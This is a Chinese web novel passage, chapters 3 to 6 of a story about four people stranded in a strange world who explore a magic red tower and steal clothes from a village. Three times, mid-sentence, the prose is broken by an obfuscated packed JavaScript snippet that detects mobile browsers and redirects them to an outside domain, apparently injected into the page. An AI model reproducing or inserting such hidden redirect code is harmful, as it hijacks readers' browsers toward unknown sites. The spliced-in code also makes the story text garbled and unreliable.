作为始作俑者的郝乐宁没想到这锁仅徒有其表，她与许巧星面面相觑，才丢下石头。 她们推着门面，竟没费多大力气，石门往内打开。随着轰隆一响，沾着泥土的鞋子踏在塔内许久未被寻访的石板上。 塔内无灯，竟然四处有光，与外部如同一致。 许巧星仰头环视，惊而发觉，是石内有光，仿佛阳光被囚入笼里。一道没有扶手的石梯盘旋而上，她摸着光秃秃的墙壁，向上走去。塔顶是一个无窗的圆形房间，正中间摆着一张不规则形状的石桌，而桌子相对边缘的位置嵌了一块婴儿拳头大小的蓝色宝石。 那块流光溢彩的宝石正在缓慢转动。 眼前景象着实虚妄离奇。 “为什么在转？里面是有机关吗？”许巧星凑近仔细看，宝石表面刻满精细的花纹，“总觉得是很了不起的东西。怎么没人在看守？” 她正欲伸手去摸，但桌子四周似乎被一层无形玻璃给围护起来，手掌在其上方十多厘米的位置就悬空按不下去了。 郝乐宁在旁惊呼：“哇哦。”她也想伸出手来试试。 许巧星心觉诡异，想收回手。 还没等郝乐宁触及，倏忽之时，塔内的光黯淡下去，墙壁复而显露出原初的颜色。宝石光芒大涨，像一颗爆炸的星辰，与此同时，那光秃秃的墙壁上出现流动的诡谲花纹，随着宝石在桌上转动，花纹时而清晰时而模糊，蔚为壮观。 沐在灼眼光华下的许巧星骤不及防，顿感天旋地转。她被迎面炸开的光吓得惊愕失色，脑海里似乎有人重重捣了一杵，砸得她耳边嗡嗡作响。 仓促间，那无形玻璃径直消失。许巧星没了扶靠，整个人险些跌落在地上。 “嗡嗡嗡……” 郝乐宁捂住耳朵，试图分辨出来墙上是什么。 “嗡嗡嗡嗡嗡……大计，我需要对得起……嗡嗡……”夹在嘈杂刺耳的声音中间的，是一道模糊的人声。 是谁在说话？大白天的闹鬼了吗？ “……往后……自然要为他们打算……嗡嗡嗡……” 这景象持续了几个呼吸。当许巧星重新站稳时，不自觉地咽了一口唾沫，不寒而栗。蓝宝石收了神通，恢复人畜无害的原样，墙壁上的诡谲花纹随之隐去。塔顶房间内再次充斥柔和的光明。 虽然奇怪的嗡嗡声音已经消失，可耳朵仍旧刺疼得厉害。 许巧星抬手揉揉酸胀不适的眼睛，面色惨白，手脚打颤。她更清楚地意识到自己一头栽进一个大相径庭的世界。 稍纵即逝的花纹似乎仍倒映在眼帘，那闪烁不断的诡异纹路虽停留短暂，但依旧让她头晕脑胀，胃里有东西在往上翻涌。她看了一眼郝乐宁，郝乐宁脸色亦难看。 许巧星心怀忐忑不安，壮着胆子，颤颤巍巍地摩挲墙壁。它光滑平坦，丝毫看不出有任何刻痕，方才出现的花纹似是古怪幻觉。 郝乐宁嘴巴在一张一合，许巧星愣怔住了，才反应过来自己听不见。 “我听不见了，难受。好晕。”许巧星闷声闷气地说道。她耳朵蒙蒙的，似是被一团棉花堵住了。这让许巧星胆战心惊，吓得浑身血都冷了，自己难不成以后都要聋了吗？ 郝乐宁一把抓住许巧星的手，她看向郝乐宁挂着冷汗的面庞。 郝乐宁意识到两人耳朵有了异样，用手指指了指耳朵，又比划了一番。许巧星看了个大概，抬起无力的胳膊，点点往下的那道出口。 此地不宜久留。 她们二人靠着台阶内侧，一前一后，相隔几米，缓步而行，一路拾级往下。 许巧星眼前有星星点点在翩跹起舞，好几次她差点脚软踩空，一不留神便容易摔下去。她低头看着郝乐宁踉跄的身影，咬牙坚持，指甲用力扼住掌心肉，她若从这里失足滚下去，还会牵连到旁人。在此地要是折断了骨头，又去哪里找医生看病？ 出了那扇黑门，大脑如浸了冰水一般清爽，不再雾蒙蒙的混沌。 有一阵厉风吹来，远处树林枝叶摇撞，发出呼啸声。风把许巧星从头晕目眩中刮了回来，忽然发觉自己的听力恢复了。她后怕地回头看去，伴随轰隆一声，离奇诡异的一幕发生了，大敞的门缓慢地合紧，似乎一张血盆大口把她们吐了出来。 抬眼怔怔望去，红塔高高伫立，与之前别无二致。许巧星听到自己胸腔里怦怦乱跳，汗毛竖起，呼吸不上来，感到一阵莫名的恐惧。 过了片刻，她才缓过神，意识到，这恐怕与自己想要触摸那块宝石有关。“我再也不乱动了。”许巧星出了一身冷汗，她闭上眼，双手拍拍脸颊。 郝乐宁低头，撑着膝盖，有气无力地问道：“你还好吗？”她在旁边的草丛里刚刚吐完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988134|161566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一次，可胃里本就空荡荡的，她吐出来的也只有酸水。 “没有很糟糕。你呢？”许巧星问她，摇摇晃晃地往郝乐宁那边走。 郝乐宁余光察觉到，连连摆手：“你别过来！我，我刚吐完。不要臭到你了。” “那有什么要紧的？”许巧星心中发愧，更觉不是滋味。她快走两步，上去轻轻拍了拍郝乐宁的背，“是我刚才鲁莽了，对不起你。你还好吗？” “没大碍，我们出来了就好。刚才我也想动手去摸的，只是比你慢了一步。啊，我是不是把你吓到了？”郝乐宁捂着嘴巴，直起身子，“其实我只要一头晕就容易呕吐。小事而已，你不要放在心上。” 她越这样说，许巧星越不知所措，不住地道歉。 郝乐宁抬起眉毛，似是想起了什么：“你刚才在房间里有听见人说话吗？” “听到了，但是听不太清楚。” “难不成真是撞鬼了？” 许巧星抱了抱自己的胳膊，凉飕飕的。 “我们趁早回去吧。” 路远昭昭而来的海风吹过她的衣角，海浪微微朝内滚来。许巧星遥望波光潋滟的水面，海洋安详地躺在那里，温情脉脉地拥着一线细长的银色海岸。 纵使昨日见过，可这片海也还是美得让她心下一凛。蓝得怵目惊心，洁白云团倒影在水下，不知海天之分。 盘旋的鸟儿振翅高飞，迟迟没有落地。它们朝着树林的方向飞远了。 待郝乐宁翻涌的胃部安歇下来，她们原路折返。下山的路轻松许多，就算她们身体不适，亦很快回到小屋。 许巧星见到那扇被隐藏起来的门，尽管这只是刚刚安定下来的临时庇护所，她心里还是长舒一口气，脚下也不再轻飘飘的。 单手推开门，就算动作轻柔，木门发出吱呀的一声依旧明显。陈哥面对墙壁躺着，一动不动，看起来睡得很沉，没有被她们吵醒。 许巧星搀扶郝乐宁坐在椅子上，又出门提回书包，她拉开拉链，露出里面红彤彤的果子。可能郝乐宁吃些东西会好点。 但她进门一看，郝乐宁头已经枕在自己臂弯里，趴在桌上闭目养神。 许巧星拣了另一把有靠背的椅子坐下，她指甲缝里还粘着泥巴，只是进门前拍了拍灰土了事，实在惫于去外面的小溪里洗净。 头晕难捱，她在心中祈祷痛苦很快从身体内离去。 那几秒好像把晕车放大了百倍，她活了近十八年，是此前从未有过之事。她惶惶不安，不知自己往后还要受多少千磨百折，仿佛小飞虫不慎坠落在蜘蛛结下的巨网，举步维艰，轻而易举便招来祸难。 她被牢牢粘在网上，手脚酸软，不能动弹。她却感受到蜘蛛长毛大腿一步一步踩在纤细的网上。蜘蛛不紧不慢地逼近，她身下的线不断颤抖，预兆这一切即将消失殆尽。 一个声音迷迷糊糊地进入她的脑袋——“何至于此……”耳语呢喃般，哀痛欲绝，一番重复，声音愈来愈轻，愈来愈远…… 许巧星大汗淋漓，欲挣扎着爬起来，但是脚好像踩在一团棉花上，着不了地。她的魂魄随着声音的消散，渐渐沉没在幽冥之中。 倏忽，有一只手把她推搡着醒来。许巧星尚未掀开沉重的眼皮，她的耳畔就传来司机的声音：“别睡了，你快起来。” 许巧星犹自犯困，捂嘴打了一个大哈欠，含糊不清地问：“出什么事了吗？” 司机沉下声音：“没出事，要你起来一起干活了。我跟着那个小姑娘回家，然后知道了当地村子的位置。我们等一下就去走一趟。” 此话一出，困意顿时飞到九霄云外，许巧星彻底醒了。 4. 第 4 章 木门敞开，清冷的月辉投射在地面上。 许巧星坐在椅子上，抬头看着司机。而郝乐宁从门外探出脑袋，笑眯眯地朝他们招手。许巧星见已入夜，没想到自己彻底昏睡过去整个下午，她的脑袋仍在发昏，忍不住问道：“天已经黑了，我们要去干什么？” “你不饿？”司机反问道，“咱们又不能光明正大地去要饭，不去偷点吃的就要饿死了。” 她踏出门，夜晚的寒气从鼻腔灌进胸膛，一阵微风吹过，冷得侵肌刺骨，残余的困意嗖地一下荡然无存。陈哥站在树下，分辨不明神情，他正在与郝乐宁轻声交谈，看起来也是同意了这一打算。 她脑海里浮现出日出捧着一大把果子给她的模样，一想到要去她所在的村子偷东西，心里微微别扭。 但是司机的话颇有道理，他们并非山民，哪里懂得抓野物。几人如今饥肠辘辘，要是填不饱肚子，迟早会饿死，更别提找到回家的路了。 天上的月亮皎洁似一轮冰镜，屋前的空地也一片明晃晃的白。人影拉得狭长，与黑黝黝的树林倒影融成一团。 司机见许巧星不说话，权当她同意。他的声音不大：“我跟着小姑娘找到了他们的村子。村子里几乎没年轻人，看起来年轻力壮的人都在水边干活。今天下午，河边好像出了什么要紧事，我远远就听见他们喊人，说要忙通宵。我们趁这个时机去最好了。” 他继续说道：“今晚的目标，不光是食物，还有衣服。我们跟当地人穿的不一样，太引人注目了。万一被人问到头上，不好解释。不是每个人都跟小朋友一样好骗的。” 许巧星抿了一下唇。 郝乐宁脸色没下午那般凄惨难看，她朝许巧星笑了一下：“我感觉这叫‘紧急避险’。” “还要去看看他们村子里面的情况。我们莫名其妙被搞到这里来，总要多见识一下，想办法回去。”司机补充道。 “我和郝乐宁今天有去那座塔。”许巧星忙不迭说道，“他们的东西不能随便碰。因为……” 郝乐宁拍了拍她：“在你醒来之前，我已经和他们讨论过了。” “大家一致认为，那是一种安置在少数位置的防卫设备。我举个例子，停机场会用炮响和声波驱赶鸟群，但是居民楼就没有那玩意。那个震得人发晕的物件，在平日里居住的地方没多大可能随意摆放的。”她解释道，“你看，日出这孩子被养得不错，他们村子也绝不可能缺粮短物，食物什么肯定不会藏得很严实。” “你说得对。可，今天下午的事情也太过……离谱了。”许巧星皱着眉。 司机道：“咱们也不是头一回碰见离谱的事了。最好改天再离谱一下，把我们给送回去。” 郝乐宁的胳膊从许巧星面前横伸过去：“你们看那边！那座塔正在发光！” 许巧星顺着她指的方向望去。在微微摇晃的树枝之间，有一道浅红色的光线伫立在山顶。 “还有，你们以后要跟别人商量一声再出去，我们又不是来郊游的。”司机督了他们一眼，不轻不重地说道，“现在手机也发不了消息，你们万一出了什么事，可没人知道。” “好。” 郝乐宁暗中对许巧星挤眉弄眼。 幽深昏暗的树林悄然无声，隐隐绰绰的影子交错，不知何处的小溪淙淙流水，偶尔几声虫鸣蛙叫。风做贼般踮起脚步，可今晚做贼的只有他们。 鞋子踩在落叶上，裤腿擦过草丛，发出沙沙声响。 接下来，一行人只是扯了三言两语的闲话，陈哥更是一言不发。顺着路走，他们很快就看到了目的地。 山村在望，点点亮光如豆大小，零散缀其中。房子三两成邻，并不簇拥挤成一团，一部分坐落在山谷间的平坦之地上，而另一部分则沿山坡修建，梯田一列一列，好一副鸡犬桑麻的光景。 趁着夜色，他们沿山路往下。 “他们是不用电的，对吗？”许巧星问。 “应该是。”司机答道。 他们来到村庄外。 许巧星见到了灯的真容。它们跟小屋桌子上的石灯如出一辙，只是更硕大更精致，有些还在上面镌刻祥云奇树的纹路。 村庄门口的牌楼上旁挂着几盏石灯，路边系上了许多五色结。林间小屋的门外也绑有五色丝绳，日出说这是用来祈福驱邪的。 牌坊座下蹲了两座高比膝盖的兽像，一左一右护在两侧。一兽衔着发光的灯，另一兽端坐着，把一只爪子搭在灯上。 光芒温润如水，不似火焰频频闪动。 村子内几乎俱是平房或两层的木屋，以青瓦或茅草遮顶。屋檐下也挂着一盏两盏的大小不一的灯，零星发亮。 许巧星踩在平整沁凉的石板路上。挨家挨户皆有以挖空的树木而做成的笕，一条一条连接，嘀嗒水声不断。清水从山中被引下，灌入储水缸中。 她还瞧见了一个用木栅栏围起来的圈，内有木棚，显然是圈养了家禽。 逐步往里走，却惊奇地发觉家家户户均没落锁，甚至有的人家半敞着门，拿一块青石抵着门通风。一看就知是民风淳朴之地。 “居然没有狗冲着我们叫。”陈哥忽然横插一嘴，语气淡淡的。司机扭头看了他一眼。 这对他们来说是好事。做贼的人，哪里有不怕狗的？ 可细想而来，这平凡无奇的村子安详到怪异。在有心人眼里，简直高深莫测。几人心里又拿不准，说不定这儿真有近似红塔内那般的防盗设施。 司机叮嘱大家走慢些，躲着点，别被发现了。 一行人如履薄冰般缓缓而行，四周极其正常，并未有稀奇古怪的神秘法术。还真让许巧星产生一种自己身处普通农村乡下之感。 偶有人声传来，随后远远看见一盏石灯熄灭，惊得他们躲躲闪闪，走走停停。不知不觉间，又往里走了一段距离。 因夜深，又不认识路，他们便就近选了一座看起来更加气派的屋子。 屋内没有半点动静，他们围着房子转了两圈，揣摩一番，司机远远地捡了一块小石子砸在门上，发出一声闷响。但等了良久，屋内依旧没有传出任何声响。司机点头，对着他们比了一个手势。 他们打开门，鱼贯而入。陈哥最后一个进来，他侧身把门合上。 屋内漆黑一片，没有点灯。司机从兜里掏出打火机，咔嚓一声，打火机亮了。 许巧星头一次做这等偷偷摸摸之事，虽是迫不得已，但还在黑暗中涨红了脸，大气也不敢出，闷声跟在其他人后面。 他们没找到厨房，但摸进一间不大的卧室，屋子一下子塞进四个人，略显拥挤。摆设乏善可陈，只有一柜一床，一张窗边横桌，桌上堆着几本书。房间另一角是贴墙衣柜，侧边搁了一把积了薄灰的梯子，底下还堆着大藤篓。 司机拉开柜门，里面是叠放有序的衣物。他随手抓出最上面一件，抖开——是一件灰色长袍。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988135|161566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你们自己看还合适吗？”司机收起打火机，把长袍丢到床上。 四人身形皆不同，但是没人会在这时候讲究，套在身上简单了事。 “我们只拿四件。”司机说道，“都拿到了吧？” “我看不懂书上的字。”郝乐宁借着窗外月光，翻看桌上的书，字几乎要贴在脸上，她语气迟疑，“有点像小篆，但的确不是。我本科是读汉语言的，对古代文字稍微了解。我没见过这本书上的字。” 她又翻开一本：“但是另外一本上面的就是楷书了，你们也都认得。” 闻言，许巧星也凑上去。 郝乐宁将手上的书递给她。书是用线缝合纸张在一起的，不厚。她打开，里面的内容是——竖排排列，字体笔锋圆润。 司机挥手：“先别琢磨，你记下来，回去慢慢研究。” 郝乐宁掏出手机，摊开书，让许巧星从旁压平整。她拍了几张照片，旋即又将手机关机。 “要不要留下什么？就当以物易物了。”郝乐宁摸索着，把自己的手链解下来，“虽然是人造钻，但是在这种没通电的环境里，可能值点钱。这样，我们也不算完全是偷东西了。光拿别人的，我心里也不舒服。” 许巧星看了郝乐宁一眼。 “挺好。可惜我全身上下只剩下手机和打火机了。”司机回她，“快走吧，我们还没找到吃的。” 正当他们准备推门出去之时，头顶却传来清清楚楚的脚步声。 一楼与二楼的楼梯就在卧室旁，已经来不及逃出去了。 一下，两下。 噔噔—— 鞋子和木头之间发出的碰撞声，宛如雷劈，响在他们心头。 许巧星胆战心惊。她瞪大眼睛，这屋子里原来有人吗？ 脑子里画面联翩起伏，举着菜刀的屋主瞪着铜铃大的眼睛，尖叫着赶他们出去，村里人蜂拥而上，一齐送四人去见官伏法。 噔噔噔—— 陈哥一把拽过和他站得最近的许巧星，指了指床，又推了她一把，示意她赶紧往着床底下爬。 许巧星趴下，手脚并用往里扑腾，她一手伸出去，就摸到床底下堆积多时的灰尘。陈哥也爬了进来，司机俯下身一瞧，床底下只够两个人的位置。他跟郝乐宁必须另寻他处。 郝乐宁轻手轻脚地走向衣柜，抱着膝盖蜷缩起来，藏在衣柜与墙壁的阴影夹角处。她把藤篓翻过来，盖在头上。 脚步声依然—— 司机焦急地打量一圈，左瞧右看，实在无法在这间秉承简约风的卧室再找到一个稳妥的藏身地。他深吸一口气，壮着胆子，提胸收腹，径直站在向内推开的那道房门后，恨不得化身壁虎，直接牢牢扒在墙上。 脚步声在卧室门口停住。他往里随意扫了一眼，甚至没有伸手去把门完全推开。而司机正憋着呼吸，二人仅有一门之隔。 “是风吗？”门外是一名男性，听起来挺年轻的，他自言自语，“果然近几日累晕头了。” 度秒如年。许巧星灰头土脸，打了一个冷颤，贴着地板的胳膊长满了鸡皮疙瘩。要是这人进来发现了他们，就彻底完了。 或许是命运难得眷顾，男人很快挪开了脚步，往外走，径直出了门。 大门吱呀一声，分外明显。 半晌，司机提着的那口气方才吐出，他急促不安地说：“吓死个人！我们先不要找厨房了，快回山上去！” 5. 第 5 章 …… “嗡……我……是谁……” 一个女人跌坐在地，许巧星正站在她身后几米远的地方。 整个世界大而空旷，一览无余，无边无际，万籁俱寂，唯独剩下女人不断的哭声。上下无光，浓郁的黑从四面八方席卷而来，呼吸近乎凝滞。 那声音愈发哀伤。女人悲痛欲绝，言语中的绝望浓重得仿佛滴出水来，它从女人的躯体中蔓延出来，向四周流淌。 这像极了恐怖电影的桥段。可女人着实可怜，许巧星莫名没有感到畏惧，反欲向前走去。但不管她如何，神秘女人始终与她保持一段距离。 “很多人……为……为什么……我……” 话语断断续续，许巧星不明白其中之意。 这句话不停在重复，重复，又重复。 吞噬万物的黑暗已逼近在脚下。天地之间传来那道重叠在一起的回响，似乎世界因女人而又活过来般，发出惊天动地的咆哮。 许巧星捂着自己的耳朵，依旧无济于事。 她再次朝女人跑去。 “我……” 可不管许巧星怎么焦急，她始终无法靠近女人，仿佛她只是一个虚幻的倒影。 “你回头！”她心急如焚地放声喊道，朝着女人所在的方向伸出手。 女人置若罔闻。 骤然，女人足下的地面出现裂隙，以她为中心，地面分成数块，一块一块向下崩塌坠落。速度疾如雷电，以跨山压海之势，朝四面八方扩散开来。无数块脱落的地面转瞬间化为齑粉。而正下方，则是更加浓重的黑色深渊。 许巧星来不及反应，不如说就算反应过来也无济于事。她脚下一空，跟着塌成灰尘的地面一起掉了下去。 她仍然朝女人伸着手，似乎是想抓住什么，直到两人都掉入无尽深渊。 …… 许巧星惊醒，出了一身汗，半天都没反应过来。 她低头瞧了瞧自己的手掌，掌心湿漉漉的，又抬头环视小屋。晨光穿过透气孔投在地上，屋内仅有她一人。外头有说话声隐约传来。 她……好像做了一个令人不舒服的噩梦。内容已经记不清了，可是那股浓烈的情绪仍萦绕在心头，挥散不去。 或许是近两日压力太大了。 许巧星缓了几口气，翻身下床。她拍拍衣服上的褶皱，推门而出。 山中的水比想象中更冰凉透骨，许巧星把手浸泡在小溪中，打了一个寒战，掬一捧清水泼在脸上。 待日光一烈，缠绕在枝梢的轻纱薄雾如雪化般褪去。 她转头看向自己的同伴——本是不太可能有机会好好接触的人，阴差阳错凑在一起，休戚与共，不得不见证彼此的未来。 “小地方就这样。随便路上见着一个人，指不定就是你哪门的七大姑八大姨，看着面熟又叫不出名字的远房亲戚。”司机蹲在溪边，习惯性皱眉，一字一句地说道，“信我，我们走在路上，肯定会被特别留意的。” 他脸色向来严厉，语气也生硬。起初，许巧星不太敢与他搭话，但经过两天观察，这人说话习惯如此。偶尔还会和缓语气，扯了一下嘴角，对他来说，就算是挤出一抹不熟练的僵化微笑了。 许巧星用手抹去面上水珠：“那我们就尽量不要跟当地人见面了。” “可日出说今天会过来。”郝乐宁眺望远方，“我们要不要换一个地方？” 司机回答：“村子里一旦有人发现丢了物件，消息会传得很快，只是我们不知道此事会何时暴露。他们不是在忙吗？今天或许还没这么快，明天就不好说。万一这个小孩想到了我们，带着村里人一同过来。物证俱在，我们就难办了。” “我们今天就走吗？” 许巧星犹豫了一下：“我们要不要再回海边去看一下？车子在不在原地之类的。” 司机点头：“我记得我之前是沿着海边走，有瞧见红色的塔。所以，现在只要顺着那个方向折回去就好了。” “你们说，如果我们再去村子里偷一艘船，能不能自己划回去？”郝乐宁冒出一个想法。 司机反对：“不行。先不提河边人多，偷船简直是在摸老虎屁股。就说说偷完后，在海上你会辨别方向吗？这不比得开车，你好歹是知道哪里有路可以走。” 许巧星说出自己的顾虑：“首先我们不知道用海上走，能不能做到原路返回。况且这么大的一片海，望不到头。船一旦在中间被海浪打翻了，我们很难游上岸。” 陈哥难得开口：“我有一个问题。你们会划船吗？” 其余三人均摇头。郝乐宁补充道：“我只在旅游景点的湖上划过木船……算了，你们当我乱说的提议。异想天开，我现在也觉得这主意挺不靠谱。” 许巧星对她说：“其实，我觉得划船这个主意是有一定可行的。只是我们眼下受困，知道的也不多，依靠目前的力量还做不到罢了。” “难道我们还要在这里学会划船吗？”司机扯出一个苦笑，“回去人就可以换工作，当一个渔民捞点鱼卖钱。”反正等他回到原来的世界，企业里的工作早就凉了。 许巧星抓了数枚果子，在清水中一晃：“我们今天只有吃这个果子填肚子了。” “昨天运气不好，没能祭五脏庙。天晓得房子里住了人。”司机回想起昨夜惊险一幕，脸色也变得难看了。 “不是说今天要去海边吗？”陈哥语气淡淡的，提醒他们，“人生地不熟，得早去早回。而且……”他往下山的那条道路投去目光，“摸不清楚那小孩什么时候来，我们得先找过个位置躲起来，万一她真带村民一起来了，会和我们恰好撞上。” 许巧星思索着：“如果她独自上山，我们还可以趁机再问问这个地方的情况。你们都看见了，这个世界不太……呃，有点超自然。或许我们能问出一个送我们回家的法术还是什么？” 陈哥看了许巧星一眼：“她一个小孩子能懂什么？” 司机伸了一个懒腰，站起身：“问问又不亏。那你们谁留下来？”见没人回答，他看向许巧星，“你行不行？” “都可以。” 郝乐宁朝着许巧星眨眨眼：“我感觉日出挺喜欢你的。” “这样吗？”许巧星神情茫然，“我没发现。” “那小孩一和你说话就笑。” 司机扫视一周，问：“那还有别的事吗？” “还有红塔。”许巧星说道，“我们的车是停在海边的，红塔也在海边。它会不会和我们来到这里有关？”她在几人汇集过来的视线中停顿一下，“不过是没有依据的猜测。” 郝乐宁颔首：“虽然没有依据，但是我们确实应该再去一趟红塔。” 司机一拍手：“那可以先去红塔，然后再去海边。刚好在一条路上面。” “得分一下工。” 他们收拾干净小屋，打扫出空无一人的样子。许巧星站在一高处蹲守着，盯着上山的小道。若日出上山之时，她身旁伴有他人，那就即刻往红塔方向跑。郝乐宁和陈哥则一同前往红塔内探查，司机独自去海边公交车处。 “我们争取快去快回。”郝乐宁仔细叮嘱许巧星，“你千万不要一看见日出就现身，要多等会儿。有可能是跟在日出后面过来的。” 许巧星点点头：“好的。” 三人离去，许巧星立在树荫下出神。 等一下要怎么跟日出说话？又怎么不留痕迹地将法术一事问出口呢？还有……日出这小孩有对她格外亲近吗？ 许巧星不懂。 她人缘一般，只和同桌能多说上两句话。可一旦换了座位，她便跟前同桌退回成“普通同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988136|161566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学”的关系。 离了校园，她回到家，拿扫帚简单扫个地，三十多平米的小屋，没两分钟就打扫完毕。她放下扫帚，再搬把塑料椅子，坐到桌子旁写作业。要是奶奶在公共厨房里做好饭菜，会在门口喊她。她答一声，又把桌子上的书本塞回书包，去帮奶奶一起端菜回来。 吃完饭，奶奶去洗碗，她则擦桌子、倒垃圾。跟奶奶一起在外头走一圈，奶奶去散步消食，她回来继续写作业。写完后，上床睡觉。 日复一日。 家附近少有同龄孩子，曾经的玩伴早已全家搬走，小巷内多是些年迈的老人。他们人好，心眼不坏，卖不完的菜会送给奶奶，就一缺点——碎嘴。远近大小，无论何事，均会放到嘴里嚼一嚼。许巧星不止一次听见“这孩子不错，哎哟，可惜她……” 她心里不舒服，但从未跟奶奶提起，不想添麻烦。 但她猜奶奶大概知道了。因为向来乐乐呵呵的奶奶曾严肃地找过邻里一次，她被找理由支开了，他们说的什么不清楚。她提着一包盐回家，方一进小巷，说话声便停住了。奶奶站在几人中间，大家均扭头看她。有人尴尬地跟许巧星打招呼，奶奶则径直走出来，拉着她回家。 但自那之后，这种碎嘴的事再也没发生过。 她亲近的人唯有奶奶，可这是自然而然的事。她不知道如何去与别人主动打好关系，若要强行开口，她只觉尴尬。 许巧星一边盯着那条小道，一边打腹稿，准备一会儿可能要说的话。 树林翠绿连片成云。灰色鸟雀在高空乘风展翅，远处有一条泛着荧光的长河流淌不歇。河畔各立着一根长柱，大约三人高，柱子中间被人拉起一张用极细的线编制成的巨网。 网垂在水中，因被水流冲刷而剧烈摇晃。 不少人游在巨网前后的河中，时不时一头扎进水底，在网附近摸索着什么。而两岸边的人，正在忙其他事宜。 一位金袍使者站在临时搭建起来的台架上。他手上拿着一张奇特材质的纸，纸上画着大小不一的三个圆，一个套着一个，圆中间划有几道笔直的长线。 一旁的里正看不明白，他正是昨日被偷衣服的倒霉蛋，他弟弟昨夜跑来替他，却被拒了。里正几天没回过家，吃住全在河边，当下对自己家中进贼一事毫不知情。 聒噪的鸟双爪用力握住扶杆，美得赏心悦目，一开口便暴露恶劣本性，含糊不清地抱怨。里正细细听去，鸟似乎对使者满腹牢骚。 使者面不改色，盯着手中的纸，复而抬头，面带微笑地说话。鸟唰地扇动翅膀，一头冠羽高高竖起，沙哑地大喊：“在附近！在附近！” 里正闻言，忙不迭点头。旋即，他安排下去：“使者大人说，宝物在附近。我们仔细找找，累的人上岸，换下一列！” 使者回他一句话。鸟道：“有人去神塔检查吗？” “昨夜有人去过了，塔门紧闭。您也知道，我们寻常人是不准进入的。” 使者们窃窃私语。 鸟儿这回没有翻译，歪着头看着里正。 里正全然听不懂使者的语言。使者终身侍奉神明，往往只能使用这一种神语，只有极少数人能够与旁人交流。这鸟正是被专人训练出来，共不超过十只。话说回来，这只能口吐人言的鸟儿也正是归属王都的珍宝之一。 他用一种敬服的眼神对这只鸟行注目礼。鸟察觉到异样，乍然怪异鬼叫，见这人被自己吓了一跳，梗直脖子，张扬狂笑。 一手从旁伸来，快稳准地捏住鸟喙，剩下的怪笑尽数被憋回嗓子里。 里正怀着错综复杂的的心情离去了。临走前，使者松开手，鸟则快速地报复性叨了使者一口，低头再次嘟囔，口吐埋怨。 里正想，怪不得这位使者大人的笑容永远挂在面上，竟是被此鸟千锤百炼所致。 6. 第 6 章 晨露从草尖滚落在地，几人向上走，在泥土中留下清晰的脚印。他们忧心会不慎撞见当地人，将昨夜偷来的衣袍松松垮垮地裹在身上。 陈哥在这段崎岖不平的山路爬得面红耳赤，连连粗气，若有上不去的地方，则需其余两人搭手拉他一把。即使有旁人相助，爬到塔下之时，他仍是气喘吁吁。司机打趣他：“一看就是平时不锻炼的。不如趁这个机会，好好拉一拉筋骨。” 陈哥双手撑在膝上，一味地喘粗气，没有搭话。 司机朝郝乐宁摆摆手：“那我先走了。” “注意安全。”郝乐宁点头。 “放心。” 再临此塔，郝乐宁难免犯怵。她万分小心地缓缓走过去，黑色大门紧闭。她双掌按在门上，用力朝前推门。 门顺从地敞开，坦露出一道盘旋向上的楼梯。 郝乐宁回头看了一眼陈哥，喊了一声，便率先步入。她再次摸着那面光秃秃的墙壁，慎重地拾级而上，登上塔顶的房间。陈哥紧随其后，郝乐宁给陈哥指了指桌子：“我们先不要碰它，绕着房间转一圈，看有没有其它蹊跷。” 陈哥点头。他见郝乐宁几乎贴在墙上，轻抚墙壁，疑惑地问：“你这是……在做什么？” “墙上或许有机关，文字之类的内容。昨天什么也没发现，我猜可能是我和许巧星两人被那石头的光炸得头晕目眩。我现在再看看。” 陈哥环顾一周。塔顶房间似乎是专门用来摆放这张桌子的，别无他物。他左右审视不出个所以然，便只好学着郝乐宁的模样，伸手摸墙。 但两人扪壁上下，无果。 “诶？”郝乐宁突然惊呼，她眉峰一跳，低头看去。 陈哥扭头看她：“你怎么了？” 郝乐宁迟疑地说：“我刚刚站上去，脚下的板砖好像有点松动了。” 听到这话，一贯冷淡的陈哥也不由得声音绷紧：“这塔多少年的啊？不会是个快要塌的危楼吧。” “我看它还挺结实的，没这么倒霉。”郝乐宁蹲了下来，她试着挪动地上的石砖。石砖竟真能被她前后移动一小段距离。她忙不迭把手向四周探去，顺着墙根，竟意外发觉有不少石块松动。 她用关节轻轻叩击。实心的，不像是隐藏的机关，但她也不是什么机关大师，研究不出一个所以然。 难不成真如陈哥所说，这塔是危楼吗？ 郝乐宁重新站起身。 “墙上什么也没有。”陈哥绕屋一圈，说道，“关键还在这张桌子。” 桌子形状奇特，轮廓像一张孩童信手涂鸦的画，极不规整。更让人匪夷所思的是，那块硕大的蓝色宝石被人镶嵌桌缘上，依旧在缓缓转动。 郝乐宁不敢靠近，只是站在一旁专心致志地观察。 